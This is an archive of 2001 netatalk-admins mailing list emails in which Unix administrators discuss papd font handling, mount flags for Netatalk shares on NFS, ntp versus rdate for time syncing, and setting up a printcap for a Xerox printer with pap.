It does not have any fonts stored on the server to download to the
printer, and it isn't actually the program talking to the printer.  Papd
just hands the job off to the unix printing software (lpd, lprng, etc),
and that software doesn't deal with fonts either.

If your macs have been setup correctly with printer information, they
should already know which fonts the printer needs and include them in the
print job.  There is also an option on the mac's print dialog box to set
when the mac will download fonts to the printer.  You should check this
setting.  You'll want the middle selection, something like "Downloaded
Needed Fonts Only".

	Andy


From netatalk.administrators-errors@umich.edu  Mon Jan  8 10:24:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27429
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 10:24:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23819
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 10:24:25 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA23813
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 10:24:24 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA23677
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 10:24:18 -0500 (EST)
Received: (qmail 19971 invoked by alias); 8 Jan 2001 15:24:36 -0000
Received: (qmail 19947 invoked by uid 0); 8 Jan 2001 15:24:35 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Jan 2001 15:24:35 -0000
Message-ID: <3A59DCC2.F3980D91@potsdam.edu>
Date: Mon, 08 Jan 2001 10:29:06 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Darron Froese <darron@froese.org>
CC: netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
References: <B67E3B51.2B13%darron@froese.org>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


	Make sure your time on both NFS server and NFS client are the same-
Down to the second. I use the following flags when I mount NFS volumes
for share with Netatalk. You gotta turn off NFS locking because Apple is
lame and is CONSTANTLY writing and reading resource forks while a file
is open (even in the midst of a copy)

nolock,nosuid,noexec,wsize=8192,bg,nodev,rsize=8192,intr


Darron Froese wrote:
> 
> Does anyone share folders with Netatalk that are actually NFS mounts from
> another machine?
> 
> Here's my setup:
> 
> Linux 2.2.17 NFS --->  Linux 2.2.16 Netatalk ---> Mac OS Clients
> 
> My Netatalk server (running 1.5pre3) only has a 4GB drive (and is only
> expandable using SCSI-2 drives that are mucho $$$ in price) while my NFS
> server has a 46GB IDE drive. I would like to use that 46GB drive
> transparently from the one netatalk server.
> 
> I've mounted a few directories on my Netatalk server from the NFS server:
> 
> [darron@computer darron]$ df -h
> Filesystem            Size  Used Avail Use% Mounted on
> /dev/sda3             242M  146M   83M  64% /
> /dev/sda8             1.3G  387M  845M  31% /home
> /dev/sda5             145M  7.0k  138M   0% /tmp
> /dev/sda7             1.6G  1.3G  230M  85% /usr
> /dev/sda4             218M  104M  102M  50% /var
> /dev/sda6             290M  136M  139M  50% /web
> server:/home/darron/MP3
>                        40G  7.1G   31G  19% /home/darron/mp3
> server:/home/darron/archives
>                        40G  7.1G   31G  19% /home/darron/archives
> server:/home/darron/backup
>                        40G  7.1G   31G  19% /home/darron/backup
> 
> I have no problems working with these files in the NFS mounted directories
> when I'm logged in to the shell or remotely via FTP and HTTP.
> 
> I cannot copy/write to those NFS mounted directories via Netatalk - I get
> errors:
> 
> "The item $Item cannot be read because it's in use."
> "The item $item cannot be written because it's in use."
> 
> I can copy and write to directories that aren't NFS mounted just fine.
> 
> Anyone have any ideas for me? Anyone already doing this?
> 
> Would it be a workaround to smbmount those directories?
> --
> Darron
> darron@froese.org


-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Mon Jan  8 10:25:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27466
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 10:25:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17372
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 10:25:15 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA17332
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 10:25:13 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id KAA17050
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 10:25:11 -0500 (EST)
Received: (qmail 20155 invoked by alias); 8 Jan 2001 15:25:25 -0000
Received: (qmail 20145 invoked by uid 0); 8 Jan 2001 15:25:24 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Jan 2001 15:25:24 -0000
Message-ID: <3A59DCF4.C9C19203@potsdam.edu>
Date: Mon, 08 Jan 2001 10:29:56 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Thomas Schierle <ts@visual-s.de>
CC: Netatalk-Admins <netatalk-admins@umich.edu>
Subject: Re: Linux ?
References: <B67ED29D.22F3C%ts@visual-s.de>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Thomas Schierle wrote:
> 
> On 01-01-07 20:06 +0100, Matthew Keller <kellermg@potsdam.edu> wrote:
> 
> > Use LVM in the new 2.4.0 kernel. It's wonderful.
> 
> The manual to SuSE 7.0 (kernel already supporting LVM) just says, don't
> enable LVM unless you know exactly what you are doing  ...

	SuSe 7.0 isn't running the 2.4.0 kernel, either.

> Can you point to some related good readings at the internet?

	There isn't anything good out there yet AFAIK. 2.4.0 just went gold
last week.

-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Mon Jan  8 11:09:17 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA28921
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 11:09:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01301
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 11:09:17 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01287
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 11:09:16 -0500 (EST)
Received: from pele.santafe.edu (pele.santafe.edu [192.12.12.119])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA01242
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 11:09:14 -0500 (EST)
Received: from pinon (pinon [192.12.12.104])
	by pele.santafe.edu (8.9.3/8.9.1) with ESMTP id JAA08286;
	Mon, 8 Jan 2001 09:06:25 -0700 (MST)
Date: Mon, 8 Jan 2001 09:06:25 -0700 (MST)
From: Tim Carlson <tim@santafe.edu>
To: Matthew Keller <kellermg@potsdam.edu>
cc: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
In-Reply-To: <3A59DCC2.F3980D91@potsdam.edu>
Message-ID: <Pine.GSO.4.10.10101080902290.18579-100000@pinon.santafe.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Jan 2001, Matthew Keller wrote:

> 	Make sure your time on both NFS server and NFS client are the same-
> Down to the second. I use the following flags when I mount NFS volumes
> for share with Netatalk. You gotta turn off NFS locking because Apple is
> lame and is CONSTANTLY writing and reading resource forks while a file
> is open (even in the midst of a copy)
> 
> nolock,nosuid,noexec,wsize=8192,bg,nodev,rsize=8192,intr

FYI, I have encountered no problems with pre-asun2.1.4-39_test on Solaris
7 and grabbing shares that are NFSed from another Solaris box. Of course
this is all NFSv3 which you probably aren't using on your Linux boxes.

As for the time syncing I would agree that it is important to keep time
current among machines that are NFSing things around. Recent
versions of GNU "make" really complain if the time is different. If you
aren't using ntp or some such utility, you should be :)

Tim

Tim Carlson                                  Voice:    (505) 984-8800x255
Director of Computing: Santa Fe Institute    Fax:      (505) 982-0565
WWW: http://www.santafe.edu/~tim             Email:   tim@santafe.edu


From netatalk.administrators-errors@umich.edu  Mon Jan  8 11:12:24 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA29147
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 11:12:24 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01369
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 11:12:18 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA01354
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 11:12:17 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA01315
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 11:12:16 -0500 (EST)
Received: (qmail 2249 invoked by alias); 8 Jan 2001 16:12:40 -0000
Received: (qmail 2224 invoked by uid 0); 8 Jan 2001 16:12:38 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Jan 2001 16:12:38 -0000
Message-ID: <3A59E805.2D3C8C41@potsdam.edu>
Date: Mon, 08 Jan 2001 11:17:09 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Carlson <tim@santafe.edu>
CC: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
References: <Pine.GSO.4.10.10101080902290.18579-100000@pinon.santafe.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Carlson wrote:
> FYI, I have encountered no problems with pre-asun2.1.4-39_test on Solaris
> 7 and grabbing shares that are NFSed from another Solaris box. Of course
> this is all NFSv3 which you probably aren't using on your Linux boxes.

	Yes, NFSv3 is way nice, and v3 support in Linux 2.2 kernel sucks. v3 in
2.4.0 kernel is alledgedly pretty cool, but I haven't played with it
yet... Maybe this afternoon...

> As for the time syncing I would agree that it is important to keep time
> current among machines that are NFSing things around. Recent
> versions of GNU "make" really complain if the time is different. If you
> aren't using ntp or some such utility, you should be :)

	*nod* On an hourly CRON task, IMHO.
-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Mon Jan  8 11:37:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00061
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 11:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16711
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 11:37:00 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA16683
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 11:36:59 -0500 (EST)
Received: from pele.santafe.edu (pele.santafe.edu [192.12.12.119])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id LAA16648
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 11:36:57 -0500 (EST)
Received: from pele (pele [192.12.12.119])
	by pele.santafe.edu (8.9.3/8.9.1) with ESMTP id JAA09964;
	Mon, 8 Jan 2001 09:36:48 -0700 (MST)
Date: Mon, 8 Jan 2001 09:36:48 -0700 (MST)
From: Tim Carlson <tim@santafe.edu>
To: Matthew Keller <kellermg@potsdam.edu>
cc: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
In-Reply-To: <3A59E805.2D3C8C41@potsdam.edu>
Message-ID: <Pine.GSO.4.10.10101080934290.9791-100000@pele.santafe.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Jan 2001, Matthew Keller wrote:

> > As for the time syncing I would agree that it is important to keep time
> > current among machines that are NFSing things around. Recent
> > versions of GNU "make" really complain if the time is different. If you
> > aren't using ntp or some such utility, you should be :)
> 
> 	*nod* On an hourly CRON task, IMHO.

Slightly off topic

<preach>

IMHO that is a horrible method
Please please please look at using ntp. It will save you much pain esp if
the machine you are syncing has bad clock skew. Even after you do your
"rdate -s machinename" you are still out of sync.

</preach>

Tim



From netatalk.administrators-errors@umich.edu  Mon Jan  8 11:58:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA00672
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 11:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12588
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 11:58:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id LAA12552
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 11:58:54 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id LAA12438
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 11:58:51 -0500 (EST)
Received: (qmail 13629 invoked by alias); 8 Jan 2001 16:59:08 -0000
Received: (qmail 13613 invoked by uid 0); 8 Jan 2001 16:59:08 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Jan 2001 16:59:08 -0000
Message-ID: <3A59F2EB.603381B1@potsdam.edu>
Date: Mon, 08 Jan 2001 12:03:39 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Carlson <tim@santafe.edu>
CC: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
References: <Pine.GSO.4.10.10101080934290.9791-100000@pele.santafe.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Carlson wrote:
> <preach>
> 
> IMHO that is a horrible method
> Please please please look at using ntp. It will save you much pain esp if
> the machine you are syncing has bad clock skew. Even after you do your
> "rdate -s machinename" you are still out of sync.
> 
> </preach>

	*lol* You're not the first person to get all bunched up about that. The
problem with NTP is that it is a security hole. It's very easy for any
random person to spoof NTP packets and REALLY mess things up. The
precision needed for file-sharing over FTP only has to be down to the
second (~3 seconds if you do the long math) which an hourly rdate will
accomplish just fine, with only a trivial security risk. (and cuts down
on network traffic too).

-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Mon Jan  8 13:37:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA03587
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 13:37:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26398
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 13:37:44 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA26359
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 13:37:43 -0500 (EST)
Received: from pele.santafe.edu (pele.santafe.edu [192.12.12.119])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA26327
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 13:37:41 -0500 (EST)
Received: from pinon (pinon [192.12.12.104])
	by pele.santafe.edu (8.9.3/8.9.1) with ESMTP id LAA17826;
	Mon, 8 Jan 2001 11:37:24 -0700 (MST)
Date: Mon, 8 Jan 2001 11:37:24 -0700 (MST)
From: Tim Carlson <tim@santafe.edu>
To: Matthew Keller <kellermg@potsdam.edu>
cc: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
In-Reply-To: <3A59F2EB.603381B1@potsdam.edu>
Message-ID: <Pine.GSO.4.10.10101081132250.19207-100000@pinon.santafe.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Mon, 8 Jan 2001, Matthew Keller wrote:

> 	*lol* You're not the first person to get all bunched up about that. The
> problem with NTP is that it is a security hole. It's very easy for any
> random person to spoof NTP packets and REALLY mess things up. 

People keep saying this yet I have never heard of a real life example.
Reading through the NTP documentation it seems that in fact it is quite
hard. I mean there such things as keys in an NTP configuration that people
should use.

Besides that.. all of the script kiddies are more interested in buffer
overruns :)

> second (~3 seconds if you do the long math) which an hourly rdate will
> accomplish just fine, with only a trivial security risk. (and cuts down
> on network traffic too).

I will use more network traffic in sending this one email than NTP will
use all day :-)

Tim


From netatalk.administrators-errors@umich.edu  Mon Jan  8 14:14:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04550
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 14:14:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01325
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 14:14:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA01308
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 14:14:52 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id OAA01239
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 14:14:51 -0500 (EST)
Received: (qmail 17369 invoked by alias); 8 Jan 2001 19:15:03 -0000
Received: (qmail 17346 invoked by uid 0); 8 Jan 2001 19:15:02 -0000
Received: from comp10574.potsdam.edu (HELO potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 8 Jan 2001 19:15:02 -0000
Message-ID: <3A5A12C5.F729F612@potsdam.edu>
Date: Mon, 08 Jan 2001 14:19:33 -0500
From: Matthew Keller <kellermg@potsdam.edu>
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Carlson <tim@santafe.edu>
CC: Darron Froese <darron@froese.org>, netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
References: <Pine.GSO.4.10.10101081132250.19207-100000@pinon.santafe.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Carlson wrote:
> People keep saying this yet I have never heard of a real life example.

	What's your IP network address? ;)

> I will use more network traffic in sending this one email than NTP will
> use all day :-)

	Depends on your network.

-- 

 Matthew Keller
 WebMaster, Interim Network Manager & 
   Host Systems Analyst
 Computing & Technology Services
 Information Services Division
 State University of New York at Potsdam
 
 Website: http://mattwork.potsdam.edu/
 PGP: http://mattwork.potsdam.edu/crypto/

From netatalk.administrators-errors@umich.edu  Mon Jan  8 16:37:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA09553
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 16:37:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01954
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 16:37:56 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA01928
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 16:37:55 -0500 (EST)
Received: from video1.avwashington.com (client-151-200-136-147.tag.com [151.200.136.147] (may be forged))
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA01816
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 16:37:50 -0500 (EST)
Received: from mail.avwashington.com (IDENT:root@crow.avwashington.com [192.168.0.6])
	by video1.avwashington.com (8.9.1a/8.9.1) with ESMTP id QAA25062;
	Mon, 8 Jan 2001 16:46:08 -0500
Sender: root@video1.avwashington.com
Message-ID: <3A5A33CD.6FF1EA91@mail.avwashington.com>
Date: Mon, 08 Jan 2001 16:40:29 -0500
From: Chip Mefford <cmefford@avwashington.com>
Reply-To: cpm@avwashington.com
X-Mailer: Mozilla 4.75 [en] (X11; U; Linux 2.2.16-22 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Tim Carlson <tim@santafe.edu>
CC: Matthew Keller <kellermg@potsdam.edu>, Darron Froese <darron@froese.org>,
        netatalk-admins@umich.edu
Subject: Re: Netatalk and NFS
References: <Pine.GSO.4.10.10101081132250.19207-100000@pinon.santafe.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Tim Carlson wrote:

Subscribe to the securityfocus list.


> People keep saying this yet I have never heard of a real life example.
> Reading through the NTP documentation it seems that in fact it is quite
> hard. I mean there such things as keys in an NTP configuration that people
> should use.
> 
> Besides that.. all of the script kiddies are more interested in buffer
> overruns :)
> 
> > second (~3 seconds if you do the long math) which an hourly rdate will
> > accomplish just fine, with only a trivial security risk. (and cuts down
> > on network traffic too).
> 
> I will use more network traffic in sending this one email than NTP will
> use all day :-)
> 
> Tim

From netatalk.administrators-errors@umich.edu  Mon Jan  8 17:44:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA11103
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 17:44:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05433
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 17:44:11 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA05410
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 17:44:11 -0500 (EST)
Received: from pele.santafe.edu (pele.santafe.edu [192.12.12.119])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA05373
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 17:44:09 -0500 (EST)
Received: from pinon (pinon [192.12.12.104])
	by pele.santafe.edu (8.9.3/8.9.1) with ESMTP id PAA01921
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 15:44:04 -0700 (MST)
Date: Mon, 8 Jan 2001 15:44:04 -0700 (MST)
From: Tim Carlson <tim@santafe.edu>
To: netatalk-admins@umich.edu
Subject: my last post on ntpd (really)
Message-ID: <Pine.GSO.4.10.10101081528330.19775-100000@pinon.santafe.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I really am sorry about going off topic, but I would like to clear this
up.

If someone wants to take this discussion off-line then that would be
great. I have searched the securityfocus.com archives and found exactly
zero incident reports, 4 reports about a buggy glibc in linux, zero
reports in vulnerabilies, 1 report from a guy who said he found out the
name of a remote machine through ntp, 1 report from a guy that says there
should be a vulnerability but doesn't know how to go about the exploit,
and a bunch of other crap unrelated to any problems in ntpd. If someone
would like to point me to an exploit that actually *exists*, that would be
nice.

Tim

Tim Carlson                                  Voice:    (505) 984-8800x255
Director of Computing: Santa Fe Institute    Fax:      (505) 982-0565
WWW: http://www.santafe.edu/~tim             Email:   tim@santafe.edu



From netatalk.administrators-errors@umich.edu  Mon Jan  8 23:10:48 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA17924
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 8 Jan 2001 23:10:48 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14347
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 8 Jan 2001 23:10:42 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id XAA14323
	for netatalk.administrators-members@umich.edu; Mon, 8 Jan 2001 23:10:41 -0500 (EST)
Received: from ans.odi.ca ([24.71.207.132])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id XAA14262
	for <netatalk-admins@umich.edu>; Mon, 8 Jan 2001 23:10:39 -0500 (EST)
Received: from [192.168.1.50] (gateway.javelindigital.com [216.126.20.162])
	(using SSLv3 with cipher RC4-MD5 (128/128 bits))
	(No client certificate requested)
	by ans.odi.ca (Postfix) with ESMTP id 3D8C24DEE
	for <netatalk-admins@umich.edu>; Mon,  8 Jan 2001 21:10:42 -0700 (MST)
User-Agent: Microsoft-Entourage/9.0.2509
Date: Mon, 08 Jan 2001 21:10:38 -0700
Subject: PAPD and LPR...
From: Darron Froese <darron@froese.org>
To: <netatalk-admins@umich.edu>
Message-ID: <B67FDD4D.AD5C%darron@froese.org>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'm trying to set up a print server for the growing number of PC's in our
all Mac office. The printer is a Xerox Docuprint N32 - I'm running Mandrake
7.0 on the print server and cannot upgrade.

After I get it printing from the command line in Linux, I'm going to set up
Samba to share it for the PC's.

I'm running into a few problems.

/etc/printcap:

laser|lp|Design Black and White:\
        :sd=/var/spool/lpd/designbw:\
        :lp=/dev/null:\
        :lf=/var/log/lpd-errs:pw#80:hl:\
        :of=/usr/sbin/ofpap:\
        :if=/usr/sbin/ifpaprev:\
        :tf=/usr/sbin/tfpaprev:

When I print using this setup, all I get is a large page with:

Username

Filename

Domainname

    Job: filename
    Date: Current date.

All of this is in ASCII art - which is quite nice - but I really want to
print. All I need to be able to print is Postscript (from Windows PC's) and
possibly plain text from Linux.

I can print with pap directly:

[root@gateway /root]# pap -p "Design Black & White":LaserWriter shovel.eps
Trying 65408.130:250 ...
status: idle 
status: idle 
Connected to Design Black & White:LaserWriter@*.
Connection closed.

I have looked through all of the howto's that I could find. I also found a
couple really good pages with info - but not the right info it seems:

<http://www.giub.unibe.ch/~eugster/appleprint.html>
